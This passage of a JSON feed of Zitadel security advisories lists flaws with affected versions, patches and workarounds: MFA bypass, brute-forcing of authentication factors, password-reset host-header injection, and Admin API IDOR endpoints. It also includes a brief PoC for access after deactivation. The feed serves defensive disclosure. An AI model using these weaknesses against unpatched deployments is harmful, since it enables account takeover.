vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-12-08T22:19:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-7wfc-4796-gmg5","https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96","https://nvd.nist.gov/vuln/detail/CVE-2025-67494","https://github.com/advisories/GHSA-7wfc-4796-gmg5"],"source_kind":"github","identifiers":["GHSA-7wfc-4796-gmg5","CVE-2025-67494"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-08T23:00:07.273Z","updated_at":"2026-11-04T06:07:43.642Z","epss_percentage":0.00444,"epss_percentile":0.38544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"4.7.1","vulnerable_version_range":"\u003e= 4.0.0-rc.1, \u003c 4.7.1"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.83.4, \u003c= 1.87.5"},{"first_patched_version":"1.80.0-v2.20.0.20251208091519-4c879b47334e","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251208091519-4c879b47334e"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2ZjLTQ3OTYtZ21nNc4ABPUX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A","url":"https://github.com/advisories/GHSA-cfjq-28r2-4jv5","title":"Zitadel May Bypass Second Authentication Factor","description":"### Summary\n\nA vulnerability in Zitadel's token verification prematurely marked sessions as authenticated when only one factor was verified. \n\n### Impact\n\nZitadel provides an API for managing sessions, enabling custom login experiences in a dedicated UI or direct integration into applications. Session Tokens are issued for active sessions, which can be used as Bearer tokens to call the Zitadel API.\n\nStarting from 2.55.0 (see other affected versions below), Zitadel only required multi factor authentication in case the login policy has either enabled `requireMFA` or `requireMFAForLocalUsers`. If a user has set up MFA without this requirement, Zitadel would consider single factor auhtenticated sessions as valid as well and not require multiple factors.\n\nBypassing second authentication factors weakens multifactor authentication and enables attackers to bypass the more secure factor. An attacker can target the TOTP code alone, only six digits, bypassing password verification entirely and potentially compromising accounts with 2FA enabled.\n\n### Affected Versions\n\nSystems using the session API (v2 beta and v2) directly or via the new login UI in the following versions are affected:\n- **4.x**: `4.0.0` to `4.5.0` (including RC versions)\n- **3.x**: `3.0.0` to `3.4.2` (including RC versions)\n- **2.x**: `v2.53.6` to `v2.53.9`,  `v2.54.3` to `v2.54.10`, `2.55.0` to `2.71.17`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring a configured second factor regardless of the login policies `requireMFA` or `requireMFAForLocalUsers` configuration.\n\n4.x: Upgrade to \u003e=[4.6.0](https://github.com/zitadel/zitadel/releases/tag/v4.6.0)\n3.x: Update to \u003e=[3.4.3](https://github.com/zitadel/zitadel/releases/tag/v3.4.3)\n2.x: Update to \u003e=[2.71.18](https://github.com/zitadel/zitadel/releases/tag/v2.71.18)\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThis vulnerability was found by [zentrust partners GmbH](https://zentrust.partners) during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann.\nThe full report will be made public after the complete review.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T22:21:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-cfjq-28r2-4jv5","https://nvd.nist.gov/vuln/detail/CVE-2025-64103","https://github.com/zitadel/zitadel/commit/b284f8474eed0cba531905101619e7ae7963156b","https://pkg.go.dev/vuln/GO-2025-4083","https://github.com/advisories/GHSA-cfjq-28r2-4jv5"],"source_kind":"github","identifiers":["GHSA-cfjq-28r2-4jv5","CVE-2025-64103"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-10-29T23:00:10.935Z","updated_at":"2026-11-05T05:06:35.577Z","epss_percentage":0.00352,"epss_percentile":0.28616,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251029091250-b284f8474eed","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251029091250-b284f8474eed"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.71.18","vulnerable_version_range":"\u003e= 2.55.0, \u003c= 2.71.17"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.54.3, \u003c= 2.54.10"},{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.53.6, \u003c= 2.53.9"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmpxLTI4cjItNGp2Nc4ABN_A/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_","url":"https://github.com/advisories/GHSA-xrw9-r35x-x878","title":"Zitadel allows brute-forcing authentication factors","description":"### Summary\n\nA vulnerability in Zitadel allowed brute-force attack on OTP, TOTP and password allowing to impersonate the attacked user.\n\n### Impact\n\nAn attacker can perform an online brute-force attack on OTP, TOTP, and passwords. While Zitadel allows preventing online brute force attacks in scenarios like TOTP, Email OTP, or passwords using a lockout mechanism. The mechanism is not enabled by default and can cause a denial of service for the corresponding user if enabled. Additionally, the mitigation strategies were not fully implemented in the more recent resource-based APIs.\n\n### Affected Versions\n\nAll versions within the following ranges, including release candidates (RCs), are affected:\n- **4.x**: `4.0.0` to `4.4.0` (including RC versions)\n- **3.x**: `3.0.0` to `3.4.2` (including RC versions)\n- **2.x**: `v2.0.0` to `2.71.17`\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. The patch resolves the issue by enforcing the lockout policy on all OTP, TOTP and password checks. Additionally a “tar pit” has been introduced to slow down brute-force attacks by default. Zitadel responses will be delayed by t seconds, where t increases over the number of failed attempts within a given timeframe.\n\n4.x: Upgrade to \u003e=[4.6.0](https://github.com/zitadel/zitadel/releases/tag/v4.6.0)\n3.x: Update to \u003e=[3.4.3](https://github.com/zitadel/zitadel/releases/tag/v3.4.3)\n2.x: Update to \u003e=[2.71.18](https://github.com/zitadel/zitadel/releases/tag/v2.71.18)\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\nThe problem might be mitigated by enabling the optional logout policy (\"Password maximum attempts\") or by implementing more strict rate limits.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThis vulnerability was found by [zentrust partners GmbH](https://zentrust.partners) during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann.\nThe full report will be made public after the complete review.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T22:21:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-xrw9-r35x-x878","https://nvd.nist.gov/vuln/detail/CVE-2025-64102","https://github.com/zitadel/zitadel/commit/b8db8cdf9cc8ea13f461758aef12457f8b7d972a","https://pkg.go.dev/vuln/GO-2025-4085","https://github.com/advisories/GHSA-xrw9-r35x-x878"],"source_kind":"github","identifiers":["GHSA-xrw9-r35x-x878","CVE-2025-64102"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-10-29T23:00:11.049Z","updated_at":"2026-11-05T05:06:35.578Z","epss_percentage":0.0037,"epss_percentile":0.30621,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251029090735-b8db8cdf9cc8","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251029090735-b8db8cdf9cc8"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.71.18","vulnerable_version_range":"\u003c 2.71.18"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cnc5LXIzNXgteDg3OM4ABN-_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1td21oLTdweDktNGMyM84ABN--","url":"https://github.com/advisories/GHSA-mwmh-7px9-4c23","title":"ZITADEL Vulnerable to Account Takeover via Malicious Forwarded Header Injection","description":"### Impact\n\nA potential vulnerability exists in ZITADEL's password reset mechanism. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.\n\nIf an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems running one of the following versions:\n- **4.x**: `4.0.0` to `4.5.0` (including RC versions)\n- **3.x**: `3.0.0` to `3.4.2` (including RC versions)\n- **2.x**: `v2.0.0` to `2.71.17`\n\n### Patches\n\nPatched version ensure proper validation of the headers:\n\n4.x: Upgrade to \u003e=[4.6.0](https://github.com/zitadel/zitadel/releases/tag/v4.6.0)\n3.x: Update to \u003e=[3.4.3](https://github.com/zitadel/zitadel/releases/tag/v3.4.3)\n2.x: Update to \u003e=[2.71.18](https://github.com/zitadel/zitadel/releases/tag/v2.71.18)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all Forwarded and X-Forwarded-Host header values before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T22:20:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-mwmh-7px9-4c23","https://nvd.nist.gov/vuln/detail/CVE-2025-64101","https://github.com/zitadel/zitadel/commit/72a5c33e6ac302b978d564bd049f9364f5a989b1","https://pkg.go.dev/vuln/GO-2025-4084","https://github.com/advisories/GHSA-mwmh-7px9-4c23"],"source_kind":"github","identifiers":["GHSA-mwmh-7px9-4c23","CVE-2025-64101"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-10-29T23:00:11.166Z","updated_at":"2026-10-26T21:06:29.841Z","epss_percentage":0.00363,"epss_percentile":0.2983,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1td21oLTdweDktNGMyM84ABN--","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1td21oLTdweDktNGMyM84ABN--","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"1.80.0-v2.20.0.20251029090537-72a5c33e6ac3","vulnerable_version_range":"\u003c 1.80.0-v2.20.0.20251029090537-72a5c33e6ac3"},{"first_patched_version":"2.71.18","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.71.18"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1td21oLTdweDktNGMyM84ABN--/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp","url":"https://github.com/advisories/GHSA-93m4-mfpg-c3xf","title":"ZITADEL Allows Account Takeover via Malicious X-Forwarded-Proto Header Injection","description":"### Impact\n\nA potential vulnerability exists in ZITADEL's password reset mechanism. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.\n\nIf an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account.\n\nIt's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Patches\n\nPatched version ensure proper validation of the headers and do not allow downgrading from https to http.\n\n3.x versions are fixed on \u003e=[3.2.2](https://github.com/zitadel/zitadel/releases/tag/v3.2.2)\n2.71.x versions are fixed on \u003e=[2.71.11](https://github.com/zitadel/zitadel/releases/tag/v2.71.11)\n2.x versions are fixed on \u003e=[2.70.12](https://github.com/zitadel/zitadel/releases/tag/v2.70.12)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all Forwarded and X-Forwarded-Host header values before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-05-28T17:36:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-93m4-mfpg-c3xf","https://github.com/zitadel/zitadel/commit/c097887bc5f680e12c998580fb56d98a15758f53","https://nvd.nist.gov/vuln/detail/CVE-2025-48936","https://github.com/advisories/GHSA-93m4-mfpg-c3xf"],"source_kind":"github","identifiers":["GHSA-93m4-mfpg-c3xf","CVE-2025-48936"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-05-28T18:08:02.751Z","updated_at":"2026-11-05T05:07:34.088Z","epss_percentage":0.00411,"epss_percentile":0.35501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 2.38.2-0.20240919104753-94d1eb767837"},{"first_patched_version":"2.71.11","vulnerable_version_range":"\u003e= 2.71.0, \u003c= 2.71.10"},{"first_patched_version":"3.2.2","vulnerable_version_range":"\u003e= 3.0.0-rc1, \u003c 3.2.2"},{"first_patched_version":"2.70.12","vulnerable_version_range":"\u003e= 2.38.3, \u003c 2.70.12"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"0.0.0-20250528081227-c097887bc5f6","vulnerable_version_range":"\u003c 0.0.0-20250528081227-c097887bc5f6"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2","url":"https://github.com/advisories/GHSA-f3gh-529w-v32x","title":"IDOR Vulnerabilities in ZITADEL's Admin API that Primarily Impact LDAP Configurations","description":"### Summary\n\nZITADEL's Admin API contains Insecure Direct Object Reference (IDOR) vulnerabilities that allow authenticated users, without specific IAM roles, to modify sensitive settings. While several endpoints are affected, the most critical vulnerability lies in the ability to manipulate LDAP configurations. Customers who do not utilize LDAP for authentication are not at risk from the most severe aspects of this vulnerability. However, we still strongly recommend upgrading to the patched version to address all identified issues.\n\n### Description\n\nZITADEL's Admin API, intended for managing ZITADEL instances, contains 12 HTTP endpoints that are unexpectedly accessible to authenticated ZITADEL users who are not ZITADEL managers. The most critical vulnerable endpoints relate to LDAP configuration:\n\n- /idps/ldap\n- /idps/ldap/{id}\n\nBy accessing these endpoints, unauthorized users could:\n\n- Modify ZITADEL's instance LDAP settings, redirecting all LDAP login attempts to a malicious server, effectively taking over user accounts.  \n- Expose the original LDAP server's password, potentially compromising all user accounts.  \n\n### Additional Vulnerable Endpoints\n\nThe following endpoints are also affected by IDOR vulnerabilities, potentially allowing unauthorized modification of instance settings such as languages, labels, and templates:\n\n- /idps/templates/_search\n- /idps/templates/{id}\n- /policies/label/_activate\n- /policies/label/logo\n- /policies/label/logo_dark\n- /policies/label/icon\n- /policies/label/icon_dark\n- /policies/label/font\n- /text/message/passwordless_registration/{language}\n- /text/login/{language} \n\n### Impact\n\nThe impact of this vulnerability varies depending on whether a ZITADEL instance utilizes LDAP for authentication:\n\n- LDAP Users: Successful exploitation could lead to complete takeover of user accounts and exposure of the LDAP server's password.  \n- Non-LDAP Users: While the most severe risks are related to LDAP, exploitation of the additional vulnerable endpoints could still allow unauthorized modification of instance settings, impacting all organizations. \n\n### Patches\n\n2.x versions are fixed on \u003e= [2.71.0](https://github.com/zitadel/zitadel/releases/tag/v2.71.0)\n2.70.x versions are fixed on \u003e= [2.70.1](https://github.com/zitadel/zitadel/releases/tag/v2.70.1)\n2.69.x versions are fixed on \u003e= [2.69.4](https://github.com/zitadel/zitadel/releases/tag/v2.69.4)\n2.68.x versions are fixed on \u003e= [2.68.4](https://github.com/zitadel/zitadel/releases/tag/v2.68.4)\n2.67.x versions are fixed on \u003e= [2.67.8](https://github.com/zitadel/zitadel/releases/tag/v2.67.8)\n2.66.x versions are fixed on \u003e= [2.66.11](https://github.com/zitadel/zitadel/releases/tag/v2.66.11)\n2.65.x versions are fixed on \u003e= [2.65.6](https://github.com/zitadel/zitadel/releases/tag/v2.65.6)\n2.64.x versions are fixed on \u003e= [2.64.5](https://github.com/zitadel/zitadel/releases/tag/v2.64.5)\n2.63.x versions are fixed on \u003e= [2.63.8](https://github.com/zitadel/zitadel/releases/tag/v2.63.8)\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at security@zitadel.com\n\n### Credit\n\nThis vulnerability was discovered by Amit Laish, a senior security researcher from GE Vernova and we want to thank him for reporting this to us!","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-03-04T16:43:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-f3gh-529w-v32x","https://github.com/zitadel/zitadel/releases/tag/v2.63.8","https://github.com/zitadel/zitadel/releases/tag/v2.64.5","https://github.com/zitadel/zitadel/releases/tag/v2.65.6","https://github.com/zitadel/zitadel/releases/tag/v2.66.11","https://github.com/zitadel/zitadel/releases/tag/v2.67.8","https://github.com/zitadel/zitadel/releases/tag/v2.68.4","https://github.com/zitadel/zitadel/releases/tag/v2.69.4","https://github.com/zitadel/zitadel/releases/tag/v2.70.1","https://github.com/zitadel/zitadel/releases/tag/v2.71.0","https://nvd.nist.gov/vuln/detail/CVE-2025-27507","https://github.com/zitadel/zitadel/commit/d9d8339813f1c43d3eb7d8d80f11fdabb2fd2ee4","https://pkg.go.dev/vuln/GO-2025-3499","https://github.com/advisories/GHSA-f3gh-529w-v32x"],"source_kind":"github","identifiers":["GHSA-f3gh-529w-v32x","CVE-2025-27507"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-03-04T17:07:54.957Z","updated_at":"2026-11-05T05:08:11.318Z","epss_percentage":0.00609,"epss_percentile":0.48507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.70.1","vulnerable_version_range":"\u003e= 2.70.0, \u003c 2.70.1"},{"first_patched_version":"2.69.4","vulnerable_version_range":"\u003e= 2.69.0, \u003c 2.69.4"},{"first_patched_version":"2.68.4","vulnerable_version_range":"\u003e= 2.68.0, \u003c 2.68.4"},{"first_patched_version":"2.67.8","vulnerable_version_range":"\u003e= 2.67.0, \u003c 2.67.8"},{"first_patched_version":"2.66.11","vulnerable_version_range":"\u003e= 2.66.0, \u003c 2.66.11"},{"first_patched_version":"2.65.6","vulnerable_version_range":"\u003e= 2.65.0, \u003c 2.65.6"},{"first_patched_version":"2.64.5","vulnerable_version_range":"\u003e= 2.64.0, \u003c 2.64.5"},{"first_patched_version":"2.63.8","vulnerable_version_range":"\u003c 2.63.8"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.70.1","vulnerable_version_range":"\u003e= 2.70.0, \u003c 2.70.1"},{"first_patched_version":"2.69.4","vulnerable_version_range":"\u003e= 2.69.0, \u003c 2.69.4"},{"first_patched_version":"2.68.4","vulnerable_version_range":"\u003e= 2.68.0, \u003c 2.68.4"},{"first_patched_version":"2.67.8","vulnerable_version_range":"\u003e= 2.67.0, \u003c 2.67.8"},{"first_patched_version":"2.66.11","vulnerable_version_range":"\u003e= 2.66.0, \u003c 2.66.11"},{"first_patched_version":"2.65.6","vulnerable_version_range":"\u003e= 2.65.0, \u003c 2.65.6"},{"first_patched_version":"2.64.5","vulnerable_version_range":"\u003e= 2.64.0, \u003c 2.64.5"},{"first_patched_version":"2.63.8","vulnerable_version_range":"\u003c 2.63.8"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qajk0LTZmNWMtNjVyOM4AA_sW","url":"https://github.com/advisories/GHSA-jj94-6f5c-65r8","title":"ZITADEL Allows Unauthorized Access After Organization or Project Deactivation","description":"### Summary\nIn Zitadel, even after an organization is deactivated, associated projects, respectively their applications remain active. Users across other organizations can still log in and access through these applications, leading to unauthorized access.\nAdditionally, if a project was deactivated access to applications was also still possible.\n\n### Details\nThe issue stems from the fact that when an organization is deactivated in Zitadel, the applications associated with it do not automatically deactivate. The application lifecycle is not tightly coupled with the organization's lifecycle, leading to a situation where the organization or project is marked as inactive, but its resources remain accessible.\n\n### PoC\n- Create a new Organization, create new project and setup OpenID connect.\n- Deactivate an Organization\n- Setup authentication without selecting Check for Project on Authentication\n- User is able to login despite the organization is deactivated\n\n### Impact\nThis vulnerability allows for unauthorized access to projects and their resources, which should have been restricted post-organization deactivation.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.62.1](https://github.com/zitadel/zitadel/releases/tag/v2.62.1)\n2.61.x versions are fixed on \u003e= [2.61.1](https://github.com/zitadel/zitadel/releases/tag/v2.61.1)\n2.60.x versions are fixed on \u003e= [2.60.2](https://github.com/zitadel/zitadel/releases/tag/v2.60.2)\n2.59.x versions are fixed on \u003e= [2.59.3](https://github.com/zitadel/zitadel/releases/tag/v2.59.3)\n2.58.x versions are fixed on \u003e= [2.58.5](https://github.com/zitadel/zitadel/releases/tag/v2.58.5)\n2.57.x versions are fixed on \u003e= [2.57.5](https://github.com/zitadel/zitadel/releases/tag/v2.57.5)\n2.56.x versions are fixed on \u003e= [2.56.6](https://github.com/zitadel/zitadel/releases/tag/v2.56.6)\n2.55.x versions are fixed on \u003e= [2.55.8](https://github.com/zitadel/zitadel/releases/tag/v2.55.8)\n2.54.x versions are fixed on \u003e= [2.54.10](https://github.com/zitadel/zitadel/releases/tag/v2.54.10)\n\n### Workaround\nUnpatched versions can explicitly disable the application to make sure the client is not allowed anymore.\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\nThanks to @prdp1137 for reporting this!\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-09-19T16:08:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-jj94-6f5c-65r8","https://nvd.nist.gov/vuln/detail/CVE-2024-47060","https://github.com/advisories/GHSA-jj94-6f5c-65r8"],"source_kind":"github","identifiers":["GHSA-jj94-6f5c-65r8","CVE-2024-47060"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-09-19T17:06:11.225Z","updated_at":"2026-11-05T05:09:06.390Z","epss_percentage":0.00357,"epss_percentile":0.29595,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajk0LTZmNWMtNjVyOM4AA_sW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qajk0LTZmNWMtNjVyOM4AA_sW","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.54.10","vulnerable_version_range":"\u003c 2.54.10"},{"first_patched_version":"2.55.8","vulnerable_version_range":"\u003e= 2.55.0, \u003c 2.55.8"},{"first_patched_version":"2.56.6","vulnerable_version_range":"\u003e= 2.56.0, \u003c 2.56.6"},{"first_patched_version":"2.57.5","vulnerable_version_range":"\u003e= 2.57.0, \u003c 2.57.5"},{"first_patched_version":"2.58.5","vulnerable_version_range":"\u003e= 2.58.0, \u003c 2.58.5"},{"first_patched_version":"2.59.3","vulnerable_version_range":"\u003e= 2.59.0, \u003c 2.59.3"},{"first_patched_version":"2.60.2","vulnerable_version_range":"\u003e= 2.60.0, \u003c 2.60.2"},{"first_patched_version":"2.61.1","vulnerable_version_range":"\u003e= 2.61.0, \u003c 2.61.1"},{"first_patched_version":"2.62.1","vulnerable_version_range":"\u003e= 2.62.0, \u003c 2.62.1"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajk0LTZmNWMtNjVyOM4AA_sW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcjJoLTdwd20taDM5M84AA_sV","url":"https://github.com/advisories/GHSA-qr2h-7pwm-h393","title":"ZITADEL's Service Users Deactivation not Working ","description":"### Impact\nZITADEL's user account deactivation mechanism did not work correctly with service accounts. Deactivated service accounts retained the ability to request tokens, which could lead to unauthorized access to applications and resources.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.62.1](https://github.com/zitadel/zitadel/releases/tag/v2.62.1)\n2.61.x versions are fixed on \u003e= [2.61.1](https://github.com/zitadel/zitadel/releases/tag/v2.61.1)\n2.60.x versions are fixed on \u003e= [2.60.2](https://github.com/zitadel/zitadel/releases/tag/v2.60.2)\n2.59.x versions are fixed on \u003e= [2.59.3](https://github.com/zitadel/zitadel/releases/tag/v2.59.3)\n2.58.x versions are fixed on \u003e= [2.58.5](https://github.com/zitadel/zitadel/releases/tag/v2.58.5)\n2.57.x versions are fixed on \u003e= [2.57.5](https://github.com/zitadel/zitadel/releases/tag/v2.57.5)\n2.56.x versions are fixed on \u003e= [2.56.6](https://github.com/zitadel/zitadel/releases/tag/v2.56.6)\n2.55.x versions are fixed on 